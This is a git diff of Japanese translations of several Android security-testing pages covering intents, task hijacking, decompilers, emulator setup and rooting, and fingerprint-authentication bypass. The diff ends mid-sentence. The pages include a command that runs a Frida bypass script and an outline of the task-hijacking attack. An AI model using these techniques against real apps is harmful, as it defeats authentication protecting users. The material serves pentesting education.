Androidコンポーネントアクティビティ/サービス/コンテンツプロバイダー/ブロードキャストレシーバー)の重要な側面は、その可視性または**公開状態**です。コンポーネントは、**`exported`**が**`true`**の値である場合、またはマニフェストにインテントフィルターが宣言されている場合、公開と見なされ、他のアプリと相互作用できます。ただし、開発者はこれらのコンポーネントを明示的にプライベートに保つ方法があり、他のアプリと意図せず相互作用しないようにすることができます。これは、マニフェスト定義で**`exported`**属性を**`false`**に設定することで実現されます。 Androidコンポーネントアクティビティ/サービス/コンテンツプロバイダー/ブロードキャストレシーバー)の重要な側面は、その可視性または**公開状態**です。コンポーネントは、**`exported`**が**`true`**の値である場合、またはマニフェストにインテントフィルターが宣言されている場合、公開と見なされ、他のアプリと相互作用できます。ただし、開発者はこれらのコンポーネントを明示的にプライベートに保ち、他のアプリと意図せず相互作用しないようにする方法があります。これは、マニフェスト定義で**`exported`**属性を**`false`**に設定することで実現されます。
さらに、開発者は特定の権限を要求することで、これらのコンポーネントへのアクセスをさらに保護するオプションがあります。**`permission`**属性を設定することで、指定された権限を持つアプリのみがコンポーネントにアクセスできるようにし、誰がそれと相互作用できるかに対する追加のセキュリティと制御の層を追加します。 さらに、開発者は特定の権限を要求することで、これらのコンポーネントへのアクセスをさらに保護するオプションがあります。**`permission`**属性を設定することで、指定された権限を持つアプリのみがコンポーネントにアクセスできるようにし、誰がそれと相互作用できるかに対する追加のセキュリティと制御の層を追加します。
```java ```java
@ -132,9 +132,9 @@ Androidコンポーネントアクティビティ/サービス/コンテン
```java ```java
Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:")); Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
``` ```
**アクション**は、前に宣言されたインテントの**ACTION_SEND**であり、**エクストラ**はmailto **Uri**です(エクストラはインテントが期待している追加情報です)。 **以前に宣言されたインテントの**アクション**は**ACTION_SEND**で、**エクストラ**はmailto **Uri**です(エクストラはインテントが期待している追加情報です)。
このインテントは、以下の例のようにマニフェスト内で宣言する必要があります: このインテントは、以下の例のようにマニフェスト内で宣言する必要があります
```xml ```xml
<activity android:name="ShareActivity"> <activity android:name="ShareActivity">
<intent-filter> <intent-filter>
@ -145,7 +145,7 @@ Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
``` ```
インテントフィルターは、メッセージを受信するために**アクション**、**データ**、および**カテゴリ**が一致する必要があります。 インテントフィルターは、メッセージを受信するために**アクション**、**データ**、および**カテゴリ**が一致する必要があります。
「インテント解決」プロセスは、どのアプリが各メッセージを受信すべきかを決定します。このプロセスは、**優先度属性**を考慮し、これは**インテントフィルター宣言**で設定できます。**優先度が高い方が選択されます**。この優先度は-1000から1000の間で設定でき、アプリケーションは`SYSTEM_HIGH_PRIORITY`値を使用できます。**競合**が発生した場合、「チョイザー」ウィンドウが表示され、**ユーザーが決定できます**。 「インテント解決」プロセスは、どのアプリが各メッセージを受信すかを決定します。このプロセスは、**優先度属性**を考慮し、これは**インテントフィルター宣言**で設定できます。**優先度が高い方が選択されます**。この優先度は-1000から1000の間で設定でき、アプリケーションは`SYSTEM_HIGH_PRIORITY`値を使用できます。**競合**が発生した場合、「チョイザー」ウィンドウが表示され、**ユーザーが決定できます**。
### 明示的インテント ### 明示的インテント
@ -161,24 +161,24 @@ context.startService(intent);
``` ```
### Pending Intents ### Pending Intents
これにより、他のアプリケーションが**あなたのアプリケーションの代理でアクションを実行する**ことができます。Pending Intentを構築する際には、**インテントと実行するアクションを指定する必要があります**。もし**宣言されたインテントが明示的でない場合**(どのインテントが呼び出せるかを宣言していない場合)、**悪意のあるアプリケーションが被害者アプリの代理で宣言されたアクションを実行する可能性があります**。さらに、**アクションが指定されていない場合**、悪意のあるアプリは**被害者の代理で任意のアクションを実行できる**ようになります。 これにより、他のアプリケーションが**あなたのアプリケーションの代理でアクションを実行する**ことができます。Pending Intentを構築する際には、**インテントと実行するアクションを指定する必要があります**。もし**宣言されたインテントが明示的でない場合**(どのインテントが呼び出せるかを宣言していない場合)、**悪意のあるアプリケーションが被害者アプリの代理で宣言されたアクションを実行する可能性があります**。さらに、**アクションが指定されていない場合**、悪意のあるアプリは**被害者の代理で任意のアクションを実行できる**ことになります。
### Broadcast Intents ### Broadcast Intents
前のインテントとは異なり、1つのアプリだけが受信するのではなく、ブロードキャストインテントは**複数のアプリで受信可能です**。ただし、APIバージョン14以降は、**メッセージを受信すべきアプリを指定することが可能です**。Intent.setPackageを使用します。 のインテントとは異なり、ブロードキャストインテントは**複数のアプリで受信されることができます**。ただし、APIバージョン14以降は、Intent.setPackageを使用して**メッセージを受信すべきアプリを指定することが可能です**。
また、ブロードキャストを送信する際に**権限を指定することも可能です**。受信アプリはその権限を持っている必要があります。 また、ブロードキャストを送信する際に**権限を指定することも可能です**。受信アプリはその権限を持っている必要があります。
ブロードキャストには**2種類**があります:**通常**(非同期)と**順序付き**(同期)。**順序**は**受信者要素内の設定された優先度**に基づいています。**各アプリはブロードキャストを処理、転送、または破棄することができます**。 ブロードキャストには**2種類**があります:**通常**(非同期)と**順序付き**(同期)。**順序**は**受信者要素内の設定された優先度**に基づいています。**各アプリはブロードキャストを処理、転送、または破棄することができます**。
`Context`クラスの関数`sendBroadcast(intent, receiverPermission)`を使用して**ブロードキャストを送信**することが可能です。\ `Context`クラスの`sendBroadcast(intent, receiverPermission)`関数を使用して**ブロードキャストを送信**することが可能です。\
また、**`LocalBroadCastManager`**の**`sendBroadcast`**関数を使用すると、**メッセージがアプリを離れないことが保証されます**。これを使用すると、受信者コンポーネントをエクスポートする必要すらありません。 また、**`LocalBroadCastManager`**の**`sendBroadcast`**関数を使用すると、**メッセージがアプリを離れないことが保証されます**。これを使用すると、受信者コンポーネントをエクスポートする必要すらありません。
### Sticky Broadcasts ### Sticky Broadcasts
この種のブロードキャストは**送信された後も長期間アクセス可能です**。\ この種のブロードキャストは**送信された後も長期間アクセス可能です**。\
これらはAPIレベル21で非推奨となり、**使用しないことが推奨されています**。\ これらはAPIレベル21で非推奨となり、**使用しないことが推奨されています**。\
**これにより、任意のアプリケーションがデータを盗聴することができるだけでなく、データを変更することも可能です**。 **これにより、任意のアプリケーションがデータを盗聴するだけでなく、変更することも可能です**。
「sticky」という単語を含む関数**`sendStickyBroadcast`**や**`sendStickyBroadcastAsUser`**)を見つけた場合は、**影響を確認し、削除を試みてください**。 「sticky」という単語を含む関数**`sendStickyBroadcast`**や**`sendStickyBroadcastAsUser`**)を見つけた場合は、**影響を確認し、削除を試みてください**。
@ -217,7 +217,7 @@ HTMLページを使用せずに[ディープリンクを呼び出す方法](./#e
## AIDL - Androidインターフェース定義言語 ## AIDL - Androidインターフェース定義言語
**Androidインターフェース定義言語AIDL**は、Androidアプリケーションにおけるクライアントとサービス間の**プロセス間通信**IPCを容易にするために設計されています。Androidでは他のプロセスのメモリに直接アクセスすることは許可されていないため、AIDLはオブジェクトをオペレーティングシステムが理解できる形式にマーシャリングすることで、異なるプロセス間の通信を容易にします。 **Androidインターフェース定義言語AIDL**は、Androidアプリケーションにおけるクライアントとサービス間の**プロセス間通信**IPCを容易にするために設計されています。のプロセスのメモリに直接アクセスすることはAndroidでは許可されていないため、AIDLはオブジェクトをオペレーティングシステムが理解できる形式にマーシャリングすることで、異なるプロセス間の通信を容易にします。
### 主要概念 ### 主要概念
@ -276,7 +276,7 @@ super.onCreate();
[Services](https://developer.android.com/guide/components/services) は、**バックグラウンドオペレーティブ**であり、ユーザーインターフェースなしでタスクを実行することができます。これらのタスクは、ユーザーが異なるアプリケーションに切り替えても実行を続けることができるため、サービスは**長時間実行される操作**にとって重要です。 [Services](https://developer.android.com/guide/components/services) は、**バックグラウンドオペレーティブ**であり、ユーザーインターフェースなしでタスクを実行することができます。これらのタスクは、ユーザーが異なるアプリケーションに切り替えても実行を続けることができるため、サービスは**長時間実行される操作**にとって重要です。
サービスは多用途であり、さまざまな方法で開始できますが、**Intents**がアプリケーションのエントリーポイントとしてサービスを起動する主な方法です。`startService`メソッドを使用してサービスが開始されると、その`onStart`メソッドが動作を開始し、`stopService`メソッドが明示的に呼び出されるまで実行を続けます。あるいは、サービスの役割がアクティブなクライアント接続に依存している場合、`bindService`メソッドを使用してクライアントをサービスにバインドし、データの受け渡しのために`onBind`メソッドが呼び出されます。 サービスは多用途であり、さまざまな方法で開始できますが、**Intents** がアプリケーションのエントリーポイントとしてサービスを起動する主な方法です。`startService` メソッドを使用してサービスが開始されると、その `onStart` メソッドが動作を開始し、`stopService` メソッドが明示的に呼び出されるまで実行を続けます。あるいは、サービスの役割がアクティブなクライアント接続に依存している場合、`bindService` メソッドを使用してクライアントをサービスにバインドし、データの受け渡しのために `onBind` メソッドが呼び出されます。
サービスの興味深い応用には、バックグラウンドでの音楽再生やネットワークデータの取得が含まれ、ユーザーがアプリと対話することを妨げません。さらに、サービスは**エクスポート**を通じて同じデバイス上の他のプロセスにアクセス可能にすることができます。これはデフォルトの動作ではなく、Android Manifestファイルで明示的な設定が必要です サービスの興味深い応用には、バックグラウンドでの音楽再生やネットワークデータの取得が含まれ、ユーザーがアプリと対話することを妨げません。さらに、サービスは**エクスポート**を通じて同じデバイス上の他のプロセスにアクセス可能にすることができます。これはデフォルトの動作ではなく、Android Manifestファイルで明示的な設定が必要です
```xml ```xml
@ -288,7 +288,7 @@ super.onCreate();
**Intent フィルター** は、両方の登録方法で重要であり、どのブロードキャストがレシーバーをトリガーするかを決定します。一致するブロードキャストが送信されると、レシーバーの **`onReceive`** メソッドが呼び出され、アプリが低バッテリーアラートに応じて動作を調整するなど、適切に反応できるようになります。 **Intent フィルター** は、両方の登録方法で重要であり、どのブロードキャストがレシーバーをトリガーするかを決定します。一致するブロードキャストが送信されると、レシーバーの **`onReceive`** メソッドが呼び出され、アプリが低バッテリーアラートに応じて動作を調整するなど、適切に反応できるようになります。
ブロードキャストは **非同期** であり、順序なしにすべてのレシーバーに到達することも、**同期** であり、レシーバーが設定された優先順位に基づいてブロードキャストを受け取ることもできます。ただし、任意のアプリが自分自身を優先させてブロードキャストを傍受できる可能性があるため、潜在的なセキュリティリスクに注意することが重要です。 ブロードキャストは **非同期** であり、すべてのレシーバーに順序なしで到達することも、**同期** であり、レシーバーが設定された優先順位に基づいてブロードキャストを受け取ることもできます。ただし、どのアプリでも自分自身を優先させてブロードキャストを傍受できる可能性があるため、潜在的なセキュリティリスクに注意することが重要です。
レシーバーの機能を理解するには、そのクラス内の **`onReceive`** メソッドを探してください。このメソッドのコードは受信した Intent を操作でき、特に **Ordered Broadcasts** では、データの検証が必要であることを強調しています。Ordered Broadcasts は Intent を変更または削除することができます。 レシーバーの機能を理解するには、そのクラス内の **`onReceive`** メソッドを探してください。このメソッドのコードは受信した Intent を操作でき、特に **Ordered Broadcasts** では、データの検証が必要であることを強調しています。Ordered Broadcasts は Intent を変更または削除することができます。
@ -296,11 +296,11 @@ super.onCreate();
**Content Providers** は、アプリ間で **構造化データを共有する** ために不可欠であり、データセキュリティを確保するために **権限** を実装する重要性を強調しています。これにより、アプリはデータベース、ファイルシステム、またはウェブなど、さまざまなソースからデータにアクセスできます。**`readPermission`** や **`writePermission`** などの特定の権限は、アクセスを制御するために重要です。さらに、一時的なアクセスは、アプリのマニフェスト内の **`grantUriPermission`** 設定を通じて付与でき、`path``pathPrefix`、および `pathPattern` などの属性を利用して詳細なアクセス制御を行います。 **Content Providers** は、アプリ間で **構造化データを共有する** ために不可欠であり、データセキュリティを確保するために **権限** を実装する重要性を強調しています。これにより、アプリはデータベース、ファイルシステム、またはウェブなど、さまざまなソースからデータにアクセスできます。**`readPermission`** や **`writePermission`** などの特定の権限は、アクセスを制御するために重要です。さらに、一時的なアクセスは、アプリのマニフェスト内の **`grantUriPermission`** 設定を通じて付与でき、`path``pathPrefix`、および `pathPattern` などの属性を利用して詳細なアクセス制御を行います。
入力検証は、SQL インジェクションなどの脆弱性を防ぐために重要です。Content Providers は、データ操作とアプリケーション間の共有を促進する基本的な操作をサポートします`insert()``update()``delete()`、および `query()` 入力検証は、SQL インジェクションなどの脆弱性を防ぐために重要です。Content Providers は、データ操作とアプリケーション間の共有を促進する基本的な操作をサポートします: `insert()``update()``delete()`、および `query()`
**FileProvider** は、ファイルを安全に共有することに特化した Content Provider です。これは、フォルダーへのアクセスを制御するための特定の属性を持ってアプリのマニフェストで定義され、`android:exported``android:resource` がフォルダー構成を指します。機密データが意図せずに公開されないように、ディレクトリを共有する際には注意が必要です。 **FileProvider** は、ファイルを安全に共有することに特化した Content Provider です。特定の属性を持ってアプリのマニフェストで定義され、フォルダーへのアクセスを制御します。これは `android:exported``android:resource` によってフォルダー構成を指し示します。機密データを不注意に公開しないように、ディレクトリを共有する際には注意が必要です。
FileProvider の例のマニフェスト宣言 FileProvider の例のマニフェスト宣言:
```xml ```xml
<provider android:name="androidx.core.content.FileProvider" <provider android:name="androidx.core.content.FileProvider"
android:authorities="com.example.myapp.fileprovider" android:authorities="com.example.myapp.fileprovider"
@ -325,7 +325,7 @@ android:resource="@xml/filepaths" />
WebViewsはAndroidアプリ内の**ミニウェブブラウザ**のようなもので、ウェブまたはローカルファイルからコンテンツを取得します。通常のブラウザと同様のリスクに直面しますが、特定の**設定**を通じて**リスクを軽減する**方法があります。 WebViewsはAndroidアプリ内の**ミニウェブブラウザ**のようなもので、ウェブまたはローカルファイルからコンテンツを取得します。通常のブラウザと同様のリスクに直面しますが、特定の**設定**を通じて**リスクを軽減する**方法があります。
Androidは2つの主要なWebViewタイプを提供しています: Androidは主に2種類のWebViewを提供しています:
- **WebViewClient**は基本的なHTMLには適していますが、JavaScriptのアラート機能をサポートしていないため、XSS攻撃のテストに影響を与えます。 - **WebViewClient**は基本的なHTMLには適していますが、JavaScriptのアラート機能をサポートしていないため、XSS攻撃のテストに影響を与えます。
- **WebChromeClient**はフルChromeブラウザの体験に近いです。 - **WebChromeClient**はフルChromeブラウザの体験に近いです。
@ -346,15 +346,15 @@ JavaScriptの「ブリッジ」はJavaオブジェクトがJavaScriptと相互
### **アプリケーションのデジタル署名** ### **アプリケーションのデジタル署名**
- **デジタル署名**はAndroidアプリに必須で、インストール前に**真正に作成された**ことを保証します。このプロセスはアプリの識別のために証明書を使用し、インストール時にデバイスのパッケージマネージャーによって検証される必要があります。アプリは**自己署名または外部CAによって認証**され、不正アクセスから保護され、デバイスへの配信中にアプリが改ざんされないことを保証します。 - **デジタル署名**はAndroidアプリに必須で、インストール前に**真正に作成された**ことを保証します。このプロセスはアプリの識別のために証明書を使用し、インストール時にデバイスのパッケージマネージャーによって検証される必要があります。アプリは**自己署名または外部CAによって認証**され、無許可のアクセスから保護され、デバイスへの配信中にアプリが改ざんされないことを保証します。
### **セキュリティ強化のためのアプリ検証** ### **セキュリティ強化のためのアプリ検証**
- **Android 4.2**以降、**Verify Apps**という機能により、ユーザーはインストール前にアプリの安全性を確認できます。この**検証プロセス**は、潜在的に有害なアプリに対してユーザーに警告をしたり、特に悪意のあるアプリのインストールを防いだりすること、ユーザーのセキュリティを強化します。 - **Android 4.2**以降、**Verify Apps**という機能により、ユーザーはインストール前にアプリの安全性を確認できます。この**検証プロセス**は、潜在的に有害なアプリに対してユーザーに警告をしたり、特に悪意のあるアプリのインストールを防いだりすることで、ユーザーのセキュリティを強化します。
### **モバイルデバイス管理 (MDM)** ### **モバイルデバイス管理 (MDM)**
- **MDMソリューション**は、**デバイス管理API**を通じてモバイルデバイスの**監視とセキュリティ**を提供します。これらは、モバイルデバイスを効果的に管理保護するためにAndroidアプリのインストールを必要とします。主な機能には、**パスワードポリシーの強制**、**ストレージ暗号化の義務付け**、および**リモートデータ消去の許可**が含まれ、モバイルデバイスに対する包括的な制御とセキュリティを確保します。 - **MDMソリューション**は、**デバイス管理API**を通じてモバイルデバイスの**監視とセキュリティ**を提供します。これらは、モバイルデバイスを効果的に管理および保護するためにAndroidアプリのインストールを必要とします。主な機能には、**パスワードポリシーの強制**、**ストレージ暗号化の義務付け**、および**リモートデータ消去の許可**が含まれ、モバイルデバイスに対する包括的な制御とセキュリティを確保します。
```java ```java
// Example of enforcing a password policy with MDM // Example of enforcing a password policy with MDM
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE); DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);

View File

@ -4,7 +4,7 @@
## タスク、バックスタックとフォアグラウンドアクティビティ ## タスク、バックスタックとフォアグラウンドアクティビティ
Androidにおいて、**タスク**はユーザーが特定の作業を完了するために対話するアクティビティのセットであり、**バックスタック**内に整理されています。このスタックはアクティビティが開かれた順に並べられ、最も最近のアクティビティが最上部に表示され、**フォアグラウンドアクティビティ**となります。どの瞬間でも、このアクティビティのみが画面に表示され、**フォアグラウンドタスク**の一部となります。 Androidにおいて、**タスク**はユーザーが特定の作業を完了するために対話するアクティビティのセットであり、**バックスタック**内に整理されています。このスタックはアクティビティが開かれた時に基づいて順序付けられ、最も最近のアクティビティが最上部に表示され、**フォアグラウンドアクティビティ**となります。どの瞬間でも、このアクティビティだけが画面に表示され、**フォアグラウンドタスク**の一部となります。
アクティビティの遷移の簡単な内訳は以下の通りです: アクティビティの遷移の簡単な内訳は以下の通りです:
@ -23,7 +23,7 @@ Androidアプリケーションにおいて、**タスクアフィニティ**は
### 起動モード ### 起動モード
`launchMode` 属性は、タスク内のアクティビティインスタンスの処理を指示します。**singleTask** モードはこの攻撃にとって重要であり、既存のアクティビティインスタンスとタスクアフィニティの一致に基づいて3つのシナリオを指示します。この脆弱性は、攻撃者のアプリがターゲットアプリのタスクアフィニティを模倣する能力に依存し、Androidシステムを誤導して攻撃者のアプリを起動させることにあります。 `launchMode`属性は、タスク内のアクティビティインスタンスの処理を指示します。**singleTask**モードはこの攻撃にとって重要であり、既存のアクティビティインスタンスとタスクアフィニティの一致に基づいて3つのシナリオを指示します。この脆弱性は、攻撃者のアプリがターゲットアプリのタスクアフィニティを模倣する能力に依存し、Androidシステムを誤導して攻撃者のアプリを起動させることにあります。
### 詳細な攻撃手順 ### 詳細な攻撃手順
@ -37,7 +37,7 @@ Androidアプリケーションにおいて、**タスクアフィニティ**は
### 予防策 ### 予防策
このような攻撃を防ぐために、開発者は `taskAffinity` を空の文字列に設定し、`singleInstance` 起動モードを選択することで、他のアプリからの隔離を確保できます。`onBackPressed()` 関数をカスタマイズすることで、タスクハイジャックに対する追加の保護を提供します。 このような攻撃を防ぐために、開発者は`taskAffinity`を空の文字列に設定し、`singleInstance`起動モードを選択することで、他のアプリからの隔離を確保できます。`onBackPressed()`関数をカスタマイズすることで、タスクハイジャックに対する追加の保護を提供します。
## **参考文献** ## **参考文献**

View File

@ -18,7 +18,7 @@
### [GDA-android-reversing-Tool](https://github.com/charles2gan/GDA-android-reversing-Tool) ### [GDA-android-reversing-Tool](https://github.com/charles2gan/GDA-android-reversing-Tool)
**GDA**はWindows専用のツールで、Androidアプリのリバースエンジニアリングに広範な機能を提供します。WindowsシステムにGDAをインストールして実行し、APKファイルをロードして分析します。 **GDA**はWindows専用のツールで、Androidアプリのリバースエンジニアリングに広範な機能を提供します。WindowsシステムにGDAをインストールして実行し、APKファイルをロードして分析します。
### [Bytecode-Viewer](https://github.com/Konloch/bytecode-viewer/releases) ### [Bytecode-Viewer](https://github.com/Konloch/bytecode-viewer/releases)
@ -39,13 +39,13 @@
### [Fernflower](https://github.com/JetBrains/intellij-community/tree/master/plugins/java-decompiler/engine) ### [Fernflower](https://github.com/JetBrains/intellij-community/tree/master/plugins/java-decompiler/engine)
**Fernflower**は、分析用のデコンパイラで、ソースからビルドする必要があります。ビルド後: **Fernflower**は、分析デコンパイラで、ソースからビルドする必要があります。ビルド後:
- JARファイルをデコンパイルします: `java -jar ./fernflower.jar "app.jar" "output_directory"` その後、生成されたJARから`.java`ファイルを`unzip`を使用して抽出します。 - JARファイルをデコンパイルします: `java -jar ./fernflower.jar "app.jar" "output_directory"` その後、生成されたJARから`.java`ファイルを`unzip`を使用して抽出します。
### [Krakatau](https://github.com/Storyyeller/Krakatau) ### [Krakatau](https://github.com/Storyyeller/Krakatau)
**Krakatau**は、特に外部ライブラリを扱う際にデコンパイルの詳細な制御を提供します。 **Krakatau**は、特に外部ライブラリを扱う際に、デコンパイルに対する詳細な制御を提供します。
- Krakatauを使用するには、標準ライブラリパスとデコンパイルするJARファイルを指定します: `./Krakatau/decompile.py -out "output_directory" -skip -nauto -path "./jrt-extractor/rt.jar" "app.jar"` - Krakatauを使用するには、標準ライブラリパスとデコンパイルするJARファイルを指定します: `./Krakatau/decompile.py -out "output_directory" -skip -nauto -path "./jrt-extractor/rt.jar" "app.jar"`
@ -53,7 +53,7 @@
**procyon**を使用して簡単にデコンパイルするには: **procyon**を使用して簡単にデコンパイルするには:
- JARファイルを指定したディレクトリにデコンパイルします: `procyon -jar "app.jar" -o "output_directory"` - 指定したディレクトリにJARファイルをデコンパイルします: `procyon -jar "app.jar" -o "output_directory"`
### [frida-DEXdump](https://github.com/hluwa/frida-dexdump) ### [frida-DEXdump](https://github.com/hluwa/frida-dexdump)

View File

@ -28,7 +28,7 @@ export JAVA_HOME=/Applications/Android\ Studio.app/Contents/jbr/Contents/Home
### 仮想マシンの準備 ### 仮想マシンの準備
Android Studioをインストールした場合は、メインプロジェクトビューを開いて、_**ツール**_ --> _**AVDマネージャー**_にアクセスできます。 Android Studioをインストールした場合は、メインプロジェクトビューを開いて、_**Tools**_ --> _**AVD Manager.**_ にアクセスできます。
<div align="center" data-full-width="false"> <div align="center" data-full-width="false">
@ -36,11 +36,11 @@ Android Studioをインストールした場合は、メインプロジェクト
</div> </div>
次に、_**仮想デバイスの作成**_をクリックします。 次に、_**Create Virtual Device**_ をクリックします。
<figure><img src="../../images/image (1143).png" alt="" width="188"><figcaption></figcaption></figure> <figure><img src="../../images/image (1143).png" alt="" width="188"><figcaption></figcaption></figure>
_**使用したい電話を選択**_し、_**次へ**_をクリックします。 _**使用したい電話を選択**_し、_**Next.**_ をクリックします。
> [!WARNING] > [!WARNING]
> Play Storeがインストールされた電話が必要な場合は、Play Storeアイコンのあるものを選択してください > Play Storeがインストールされた電話が必要な場合は、Play Storeアイコンのあるものを選択してください
@ -51,14 +51,14 @@ _**使用したい電話を選択**_し、_**次へ**_をクリックします
<figure><img src="../../images/image (1145).png" alt="" width="375"><figcaption></figcaption></figure> <figure><img src="../../images/image (1145).png" alt="" width="375"><figcaption></figcaption></figure>
それを選択し、ダウンロードされていない場合は、名前の横にある_**ダウンロード**_シンボルをクリックします**今はイメージがダウンロードされるまで待ってください)。**\ それを選択し、ダウンロードされていない場合は、名前の横にある_**Download**_シンボルをクリックします**今、イメージがダウンロードされるまで待ちます)。**\
イメージがダウンロードされたら、**`次へ`**と**`完了`**を選択します。 イメージがダウンロードされたら、**`Next`** と **`Finish`** を選択します。
仮想マシンが作成されます。これで、**AVDマネージャーにアクセスするたびにそれが表示されます**。 仮想マシンが作成されます。これで、**AVDマネージャーにアクセスするたびにそれが表示されます**。
### 仮想マシンの実行 ### 仮想マシンの実行
**実行**するには、_**スタートボタン**_を押します。 **実行**するには、_**Start button**_ を押します。
![](<../../images/image (518).png>) ![](<../../images/image (518).png>)
@ -92,8 +92,8 @@ Name: Nexus 10
OEM : Google OEM : Google
[...] [...]
``` ```
デバイスの名前を決定したら、**このデバイスで実行したいAndroidイメージを決定する必要があります。**\ デバイスの名前を決定したら、**このデバイスで実行するAndroidイメージを決定する必要があります。**\
`sdkmanager`を使用してすべてのオプションをリストできます: `sdkmanager`を使用してすべてのオプションをリストできます
```bash ```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat --list C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat --list
``` ```
@ -121,8 +121,8 @@ Revision: 4
```bash ```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat -v create avd -k "system-images;android-28;google_apis;x86_64" -n "AVD9" -d "Nexus 5X" C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat -v create avd -k "system-images;android-28;google_apis;x86_64" -n "AVD9" -d "Nexus 5X"
``` ```
最後のコマンドで、**デバイス** "_Nexus 5X_" と **Android イメージ** "_system-images;android-28;google_apis;x86_64_" を使用して、**VM ** "_AVD9_" を作成しました。\ 最後のコマンドで、**デバイス** "_Nexus 5X_" と **Android イメージ** "_system-images;android-28;google_apis;x86_64_" を使用して、**VM 名** "_AVD9_" を作成しました。\
今、次のコマンドで作成した **仮想マシンの一覧** を表示できます: 今、次のコマンドで作成した **仮想マシン** のリストを表示できます:
```bash ```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list avd C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list avd
@ -139,7 +139,7 @@ Error: Google pixel_2 no longer exists as a device
``` ```
### 仮想マシンを実行する ### 仮想マシンを実行する
作成された仮想マシンをリストする方法はすでに見ましたが、**次のようにしてもリストできます**: 作成された仮想マシンをリストする方法はすでに見ましたが、**次の方法でもリストできます**:
```bash ```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -list-avds C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -list-avds
AVD9 AVD9
@ -156,7 +156,7 @@ C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -ht
``` ```
### コマンドラインオプション ### コマンドラインオプション
ただし、仮想マシンを起動するために使用できる**さまざまな便利なコマンドラインオプション**がたくさんあります。以下にいくつかの興味深いオプションを示しますが、[**完全なリストはここにあります**](https://developer.android.com/studio/run/emulator-commandline) ただし、**仮想マシンを起動するために使用できるさまざまなコマンドラインの便利なオプションがたくさんあります**。以下にいくつかの興味深いオプションを示しますが、[**完全なリストはここで見つけることができます**](https://developer.android.com/studio/run/emulator-commandline)
**ブート** **ブート**
@ -165,16 +165,16 @@ C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -ht
**ネットワーク** **ネットワーク**
- `-dns-server 192.0.2.0, 192.0.2.255` : VMにDNSサーバーをカンマ区切りで指定することを許可します。 - `-dns-server 192.0.2.0, 192.0.2.255` : VMにカンマ区切りでDNSサーバーを指定することを許可します。
- **`-http-proxy 192.168.1.12:8080`** : 使用するHTTPプロキシを指定することを許可しますBurpを使用してトラフィックをキャプチャするのに非常に便利です - **`-http-proxy 192.168.1.12:8080`** : 使用するHTTPプロキシを指定することを許可しますBurpを使用してトラフィックをキャプチャするのに非常に便利です
- `-port 5556` : コンソールとadbに使用されるTCPポート番号を設定します。 - `-port 5556` : コンソールとadbに使用されるTCPポート番号を設定します。
- `-ports 5556,5559` : コンソールとadbに使用されるTCPポートを設定します。 - `-ports 5556,5559` : コンソールとadbに使用されるTCPポートを設定します。
- **`-tcpdump /path/dumpfile.cap`** : すべてのトラフィックをファイルにキャプチャ - **`-tcpdump /path/dumpfile.cap`** : すべてのトラフィックをファイルにキャプチャします
**システム** **システム**
- `-selinux {disabled|permissive}` : LinuxオペレーティングシステムでSecurity-Enhanced Linuxセキュリティモジュールを無効または許可モードに設定します。 - `-selinux {disabled|permissive}` : LinuxオペレーティングシステムでSecurity-Enhanced Linuxセキュリティモジュールを無効または許可モードに設定します。
- `-timezone Europe/Paris` : 仮想デバイスのタイムゾーンを設定します - `-timezone Europe/Paris` : 仮想デバイスのタイムゾーンを設定します
- `-screen {touch(default)|multi-touch|o-touch}` : エミュレートされたタッチスクリーンモードを設定します。 - `-screen {touch(default)|multi-touch|o-touch}` : エミュレートされたタッチスクリーンモードを設定します。
- **`-writable-system`** : エミュレーションセッション中に書き込み可能なシステムイメージを持つためにこのオプションを使用します。`adb root; adb remount`も実行する必要があります。これは、システムに新しい証明書をインストールするのに非常に便利です。 - **`-writable-system`** : エミュレーションセッション中に書き込み可能なシステムイメージを持つためにこのオプションを使用します。`adb root; adb remount`も実行する必要があります。これは、システムに新しい証明書をインストールするのに非常に便利です。
@ -185,7 +185,7 @@ Playストアのあるデバイスをダウンロードした場合、直接root
$ adb root $ adb root
adbd cannot run as root in production builds adbd cannot run as root in production builds
``` ```
[**rootAVD**](https://github.com/newbit1/rootAVD) と [**Magisk**](https://github.com/topjohnwu/Magisk) を使用して、ルート化することができました(例えば、[**この動画**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **または** [**こちら**](https://www.youtube.com/watch?v=qQicUW0svB8) を参照してください)。 Using [rootAVD](https://github.com/newbit1/rootAVD) with [Magisk](https://github.com/topjohnwu/Magisk) を使用して、ルート化することができました(例えば、[**この動画**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **または** [**こちら**](https://www.youtube.com/watch?v=qQicUW0svB8) を参照してください)。
## Burp証明書のインストール ## Burp証明書のインストール

View File

@ -17,7 +17,7 @@ Fridaスクリプトを実行するコマンド
```bash ```bash
frida -U -f com.generic.insecurebankingfingerprint --no-pause -l fingerprint-bypass.js frida -U -f com.generic.insecurebankingfingerprint --no-pause -l fingerprint-bypass.js
``` ```
## **方法 2 例外処理アプローチ** ## **方法2 例外処理アプローチ**
Another [Frida script](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass-via-exception-handling.js) by WithSecure addresses bypassing insecure crypto object usage. The script invokes _onAuthenticationSucceeded_ with a _CryptoObject_ that hasn't been authorized by a fingerprint. If the application tries to use a different cipher object, it will trigger an exception. The script prepares to invoke _onAuthenticationSucceeded_ and handle the _javax.crypto.IllegalBlockSizeException_ in the _Cipher_ class, ensuring subsequent objects used by the application are encrypted with the new key. Another [Frida 